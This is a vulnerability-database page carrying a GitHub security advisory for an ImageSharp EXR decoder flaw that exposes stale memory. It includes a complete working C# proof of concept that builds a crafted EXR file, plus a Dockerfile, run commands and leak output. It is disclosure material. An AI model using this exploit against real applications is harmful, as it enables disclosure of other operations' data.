GHSA-4Q3P-RJ5X-XV7P
Vulnerability from github – Published: 2026-10-07 20:24 – Updated: 2026-10-07 20:24Summary
A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block.
This is a process-local, cross-operation information-disclosure defect. It is
relevant when an application uses the shared Configuration.Default allocator
for separate image operations and exposes pixels or output derived from a later
attacker-controlled EXR decode. Whether that creates a network attack path
depends on the host application.
No active exploitation is known.
Affected package and versions
- Package:
SixLabors.ImageSharp(NuGet) - Affected published releases: 4.0.0, 4.1.0, and 4.1.1
- Affected range:
>= 4.0.0, <= 4.1.1 - Commit
0815358f9202a78bc7f3b83e19282dc3654b500fcorresponds to release v4.1.1.
EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them.
Details
For ZIP/ZIPS EXR compression, ExrDecoderCore
allocates the expected block buffer without AllocationOptions.Clean and later
interprets the complete buffer as channel data. ZipExrCompression
accepts a partial but non-empty inflate result: UndoZipCompression
rejects only totalRead == 0.
Only the returned prefix is reconstructed and interleaved into the destination
block. The remaining bytes retain allocator contents from a completed prior
operation. ExrDecoderCore then converts those bytes into returned image
pixels.
Reproduction
The attached Docker PoC uses the published SixLabors.ImageSharp NuGet package
version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that
contains the test value 0.27182817. It then decodes a separate crafted 256x1
FLOAT/ZIPS EXR.
The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output.
docker build -t imagesharp-4q3p-poc .
docker run --rm imagesharp-4q3p-poc exploit
docker run --rm imagesharp-4q3p-poc control
Test environment: Docker with mcr.microsoft.com/dotnet/sdk:8.0, .NET SDK
8.0.424 / .NET 8, Debian 12, Linux ARM64.
Observed output:
imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=exploit
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=True first-prior-value-pixel=4
imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=control
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=False first-prior-value-pixel=-1
Suggested remediation
Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes.
Complete PoC files
Program.cs:
using System.Buffers.Binary;
using System.Globalization;
using System.IO.Compression;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Formats.Exr;
using SixLabors.ImageSharp.Formats.Exr.Constants;
using SixLabors.ImageSharp.PixelFormats;
// This performs two independent completed ImageSharp operations in one process.
// The first is a valid EXR encoding containing a test value. The second is a
// malformed EXR decode whose short ZIP result exposes that value from the
// allocator shared through Configuration.Default.
internal static class Program
{
private const int PriorWidth = 64;
private const int AttackerWidth = 256;
private const float PriorValue = 0.271828182f;
private static int Main(string[] args)
{
bool exploit = args.Length == 0 || args[0] == "exploit";
if (args.Length > 0 && args[0] is not ("exploit" or "control"))
{
Console.Error.WriteLine("usage: final-4q3p [exploit|control]");
return 2;
}
Assembly imageSharp = typeof(Image).Assembly;
string informationalVersion = imageSharp
.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?
.InformationalVersion
?? "(missing)";
Console.WriteLine($"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}");
Console.WriteLine($"mode={(exploit ? "exploit" : "control")}");
EncodePriorOperation();
// Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024
// uncompressed bytes. The control payload supplies all 1024 bytes.
// The exploit payload supplies eight non-empty bytes.
byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float));
using Image<RgbaVector> result = Image.Load<RgbaVector>(
new DecoderOptions { Configuration = Configuration.Default },
new MemoryStream(exr));
result.DangerousTryGetSinglePixelMemory(out Memory<RgbaVector> memory);
int firstLeak = FindPriorValue(memory.Span);
Console.WriteLine($"prior-value={PriorValue.ToString("R", CultureInfo.InvariantCulture)}");
Console.WriteLine($"leaked={firstLeak >= 0} first-prior-value-pixel={firstLeak}");
if ((firstLeak >= 0) != exploit)
{
Console.Error.WriteLine("unexpected disclosure result");
return 1;
}
return 0;
}
private static void EncodePriorOperation()
{
using var previousImage = new Image<RgbaVector>(PriorWidth, 1);
for (int x = 0; x < PriorWidth; x++)
{
previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f);
}
using var encoded = new MemoryStream();
previousImage.Save(encoded, new ExrEncoder
{
Compression = ExrCompression.Zips,
PixelType = ExrPixelType.Float,
});
Console.WriteLine($"prior-operation=valid-exr-encode-completed bytes={encoded.Length}");
}
private static int FindPriorValue(ReadOnlySpan<RgbaVector> pixels)
{
int expectedBits = BitConverter.SingleToInt32Bits(PriorValue);
for (int x = 0; x < pixels.Length; x++)
{
if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits)
{
return x;
}
}
return -1;
}
private static byte[] BuildAttackerExr(int inflatedBytes)
{
byte[] compressed = ZlibCompress(new byte[inflatedBytes]);
using var output = new MemoryStream();
using var writer = new BinaryWriter(output);
writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic
writer.Write((byte)2);
writer.Write(new byte[] { 0, 0, 0 });
using (var channels = new MemoryStream())
using (var channelWriter = new BinaryWriter(channels))
{
WriteString(channelWriter, "R");
channelWriter.Write(2); // FLOAT
channelWriter.Write((byte)0);
channelWriter.Write(new byte[] { 0, 0, 0 });
channelWriter.Write(1);
channelWriter.Write(1);
channelWriter.Write((byte)0);
WriteAttribute(writer, "channels", "chlist", channels.ToArray());
}
WriteAttribute(writer, "compression", "compression", new byte[] { 2 }); // ZIPS
WriteBox(writer, "dataWindow");
WriteBox(writer, "displayWindow");
WriteAttribute(writer, "lineOrder", "lineOrder", new byte[] { 0 });
byte[] one = new byte[4];
BinaryPrimitives.WriteSingleLittleEndian(one, 1F);
WriteAttribute(writer, "pixelAspectRatio", "float", one);
WriteAttribute(writer, "screenWindowCenter", "v2f", new byte[8]);
WriteAttribute(writer, "screenWindowWidth", "float", one);
writer.Write((byte)0); // end of header
long chunkOffset = output.Position + sizeof(ulong);
writer.Write((ulong)chunkOffset);
writer.Write((uint)0); // scanline
writer.Write((uint)compressed.Length);
writer.Write(compressed);
writer.Flush();
return output.ToArray();
}
private static void WriteBox(BinaryWriter writer, string name)
{
using var value = new MemoryStream();
using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true))
{
box.Write(0);
box.Write(0);
box.Write(AttackerWidth - 1);
box.Write(0);
}
WriteAttribute(writer, name, "box2i", value.ToArray());
}
private static byte[] ZlibCompress(byte[] source)
{
using var compressed = new MemoryStream();
using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true))
{
zlib.Write(source, 0, source.Length);
}
return compressed.ToArray();
}
private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value)
{
WriteString(writer, name);
WriteString(writer, type);
writer.Write(value.Length);
writer.Write(value);
}
private static void WriteString(BinaryWriter writer, string value)
{
writer.Write(Encoding.ASCII.GetBytes(value));
writer.Write((byte)0);
}
}
Project file:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<Nullable>enable</Nullable>
<ImplicitUsings>enable</ImplicitUsings>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" />
</ItemGroup>
</Project>
Dockerfile:
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /poc
COPY final-4q3p.csproj Program.cs ./
# Debug is intentional: ImageSharp 4.1.1's package build target reports a
# missing-license warning rather than an error in this configuration. The
# program is still compiled against the published 4.1.1 NuGet assembly.
RUN dotnet restore && dotnet build -c Debug --no-restore
ENTRYPOINT ["dotnet", "bin/Debug/net8.0/final-4q3p.dll"]
Run:
docker build -t imagesharp-4q3p-poc .
docker run --rm imagesharp-4q3p-poc exploit
docker run --rm imagesharp-4q3p-poc control
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "NuGet",
"name": "SixLabors.ImageSharp"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-106111"
],
"database_specific": {
"cwe_ids": [
"CWE-226"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T20:24:42Z",
"nvd_published_at": "2026-10-06T18:16:52Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA crafted ZIP-compressed OpenEXR image can return stale memory from a prior\nImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty\ninflate result shorter than the EXR block\u0027s required size, then the EXR decoder\nreads the full expected block.\n\nThis is a process-local, cross-operation information-disclosure defect. It is\nrelevant when an application uses the shared `Configuration.Default` allocator\nfor separate image operations and exposes pixels or output derived from a later\nattacker-controlled EXR decode. Whether that creates a network attack path\ndepends on the host application.\n\nNo active exploitation is known.\n\n## Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected published releases: **4.0.0, 4.1.0, and 4.1.1**\n- Affected range: `\u003e= 4.0.0, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nEXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them.\n## Details\n\nFor ZIP/ZIPS EXR compression, [`ExrDecoderCore`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/ExrDecoderCore.cs#L169-L205)\nallocates the expected block buffer without `AllocationOptions.Clean` and later\ninterprets the complete buffer as channel data. [`ZipExrCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/Decompressors/ZipExrCompression.cs#L25-L38)\naccepts a partial but non-empty inflate result: [`UndoZipCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/ExrBaseDecompressor.cs#L45-L75)\nrejects only `totalRead == 0`.\n\nOnly the returned prefix is reconstructed and interleaved into the destination\nblock. The remaining bytes retain allocator contents from a completed prior\noperation. `ExrDecoderCore` then converts those bytes into returned image\npixels.\n\n## Reproduction\n\nThe attached Docker PoC uses the published `SixLabors.ImageSharp` NuGet package\nversion 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that\ncontains the test value `0.27182817`. It then decodes a separate crafted 256x1\nFLOAT/ZIPS EXR.\n\nThe exploit payload inflates to 8 bytes although the declared image block needs\n1024 bytes. The control payload inflates to all 1024 bytes. The marker is\npresent only in exploit output.\n\n```sh\ndocker build -t imagesharp-4q3p-poc .\ndocker run --rm imagesharp-4q3p-poc exploit\ndocker run --rm imagesharp-4q3p-poc control\n```\n\nTest environment: Docker with `mcr.microsoft.com/dotnet/sdk:8.0`, .NET SDK\n8.0.424 / .NET 8, Debian 12, Linux ARM64.\n\nObserved output:\n\n```text\nimagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\nmode=exploit\nprior-operation=valid-exr-encode-completed bytes=383\nprior-value=0.27182817\nleaked=True first-prior-value-pixel=4\n\nimagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\nmode=control\nprior-operation=valid-exr-encode-completed bytes=383\nprior-value=0.27182817\nleaked=False first-prior-value-pixel=-1\n```\n\n## Suggested remediation\n\nReject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected\nuncompressed byte count. Clearing the destination buffer is defense in depth,\nbut exact-length validation is required before parsing any decompressed bytes.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing System.Buffers.Binary;\nusing System.Globalization;\nusing System.IO.Compression;\nusing System.Reflection;\nusing System.Text;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats;\nusing SixLabors.ImageSharp.Formats.Exr;\nusing SixLabors.ImageSharp.Formats.Exr.Constants;\nusing SixLabors.ImageSharp.PixelFormats;\n\n// This performs two independent completed ImageSharp operations in one process.\n// The first is a valid EXR encoding containing a test value. The second is a\n// malformed EXR decode whose short ZIP result exposes that value from the\n// allocator shared through Configuration.Default.\ninternal static class Program\n{\n private const int PriorWidth = 64;\n private const int AttackerWidth = 256;\n private const float PriorValue = 0.271828182f;\n\n private static int Main(string[] args)\n {\n bool exploit = args.Length == 0 || args[0] == \"exploit\";\n if (args.Length \u003e 0 \u0026\u0026 args[0] is not (\"exploit\" or \"control\"))\n {\n Console.Error.WriteLine(\"usage: final-4q3p [exploit|control]\");\n return 2;\n }\n\n Assembly imageSharp = typeof(Image).Assembly;\n string informationalVersion = imageSharp\n .GetCustomAttribute\u003cAssemblyInformationalVersionAttribute\u003e()?\n .InformationalVersion\n ?? \"(missing)\";\n Console.WriteLine($\"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}\");\n Console.WriteLine($\"mode={(exploit ? \"exploit\" : \"control\")}\");\n\n EncodePriorOperation();\n\n // Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024\n // uncompressed bytes. The control payload supplies all 1024 bytes.\n // The exploit payload supplies eight non-empty bytes.\n byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float));\n using Image\u003cRgbaVector\u003e result = Image.Load\u003cRgbaVector\u003e(\n new DecoderOptions { Configuration = Configuration.Default },\n new MemoryStream(exr));\n\n result.DangerousTryGetSinglePixelMemory(out Memory\u003cRgbaVector\u003e memory);\n int firstLeak = FindPriorValue(memory.Span);\n\n Console.WriteLine($\"prior-value={PriorValue.ToString(\"R\", CultureInfo.InvariantCulture)}\");\n Console.WriteLine($\"leaked={firstLeak \u003e= 0} first-prior-value-pixel={firstLeak}\");\n\n if ((firstLeak \u003e= 0) != exploit)\n {\n Console.Error.WriteLine(\"unexpected disclosure result\");\n return 1;\n }\n\n return 0;\n }\n\n private static void EncodePriorOperation()\n {\n using var previousImage = new Image\u003cRgbaVector\u003e(PriorWidth, 1);\n for (int x = 0; x \u003c PriorWidth; x++)\n {\n previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f);\n }\n\n using var encoded = new MemoryStream();\n previousImage.Save(encoded, new ExrEncoder\n {\n Compression = ExrCompression.Zips,\n PixelType = ExrPixelType.Float,\n });\n\n Console.WriteLine($\"prior-operation=valid-exr-encode-completed bytes={encoded.Length}\");\n }\n\n private static int FindPriorValue(ReadOnlySpan\u003cRgbaVector\u003e pixels)\n {\n int expectedBits = BitConverter.SingleToInt32Bits(PriorValue);\n for (int x = 0; x \u003c pixels.Length; x++)\n {\n if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits)\n {\n return x;\n }\n }\n\n return -1;\n }\n\n private static byte[] BuildAttackerExr(int inflatedBytes)\n {\n byte[] compressed = ZlibCompress(new byte[inflatedBytes]);\n using var output = new MemoryStream();\n using var writer = new BinaryWriter(output);\n\n writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic\n writer.Write((byte)2);\n writer.Write(new byte[] { 0, 0, 0 });\n\n using (var channels = new MemoryStream())\n using (var channelWriter = new BinaryWriter(channels))\n {\n WriteString(channelWriter, \"R\");\n channelWriter.Write(2); // FLOAT\n channelWriter.Write((byte)0);\n channelWriter.Write(new byte[] { 0, 0, 0 });\n channelWriter.Write(1);\n channelWriter.Write(1);\n channelWriter.Write((byte)0);\n WriteAttribute(writer, \"channels\", \"chlist\", channels.ToArray());\n }\n\n WriteAttribute(writer, \"compression\", \"compression\", new byte[] { 2 }); // ZIPS\n WriteBox(writer, \"dataWindow\");\n WriteBox(writer, \"displayWindow\");\n WriteAttribute(writer, \"lineOrder\", \"lineOrder\", new byte[] { 0 });\n\n byte[] one = new byte[4];\n BinaryPrimitives.WriteSingleLittleEndian(one, 1F);\n WriteAttribute(writer, \"pixelAspectRatio\", \"float\", one);\n WriteAttribute(writer, \"screenWindowCenter\", \"v2f\", new byte[8]);\n WriteAttribute(writer, \"screenWindowWidth\", \"float\", one);\n writer.Write((byte)0); // end of header\n\n long chunkOffset = output.Position + sizeof(ulong);\n writer.Write((ulong)chunkOffset);\n writer.Write((uint)0); // scanline\n writer.Write((uint)compressed.Length);\n writer.Write(compressed);\n writer.Flush();\n return output.ToArray();\n }\n\n private static void WriteBox(BinaryWriter writer, string name)\n {\n using var value = new MemoryStream();\n using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true))\n {\n box.Write(0);\n box.Write(0);\n box.Write(AttackerWidth - 1);\n box.Write(0);\n }\n\n WriteAttribute(writer, name, \"box2i\", value.ToArray());\n }\n\n private static byte[] ZlibCompress(byte[] source)\n {\n using var compressed = new MemoryStream();\n using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true))\n {\n zlib.Write(source, 0, source.Length);\n }\n\n return compressed.ToArray();\n }\n\n private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value)\n {\n WriteString(writer, name);\n WriteString(writer, type);\n writer.Write(value.Length);\n writer.Write(value);\n }\n\n private static void WriteString(BinaryWriter writer, string value)\n {\n writer.Write(Encoding.ASCII.GetBytes(value));\n writer.Write((byte)0);\n }\n}\n\n```\n\nProject file:\n\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n \u003cPropertyGroup\u003e\n \u003cOutputType\u003eExe\u003c/OutputType\u003e\n \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n \u003cNullable\u003eenable\u003c/Nullable\u003e\n \u003cImplicitUsings\u003eenable\u003c/ImplicitUsings\u003e\n \u003c/PropertyGroup\u003e\n \u003cItemGroup\u003e\n \u003cPackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /\u003e\n \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\n\nWORKDIR /poc\nCOPY final-4q3p.csproj Program.cs ./\n\n# Debug is intentional: ImageSharp 4.1.1\u0027s package build target reports a\n# missing-license warning rather than an error in this configuration. The\n# program is still compiled against the published 4.1.1 NuGet assembly.\nRUN dotnet restore \u0026\u0026 dotnet build -c Debug --no-restore\n\nENTRYPOINT [\"dotnet\", \"bin/Debug/net8.0/final-4q3p.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-4q3p-poc .\ndocker run --rm imagesharp-4q3p-poc exploit\ndocker run --rm imagesharp-4q3p-poc control\n```",
"id": "GHSA-4q3p-rj5x-xv7p",
"modified": "2026-10-07T20:24:42Z",
"published": "2026-10-07T20:24:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-4q3p-rj5x-xv7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106111"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/pull/3187"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/commit/3c43cf583fdd98eff0f451397affaa31c6a2e6b1"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/commit/6ed2a275217d39301e76df42acec2a9533b39d2b"
},
{
"type": "PACKAGE",
"url": "https://github.com/SixLabors/ImageSharp"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.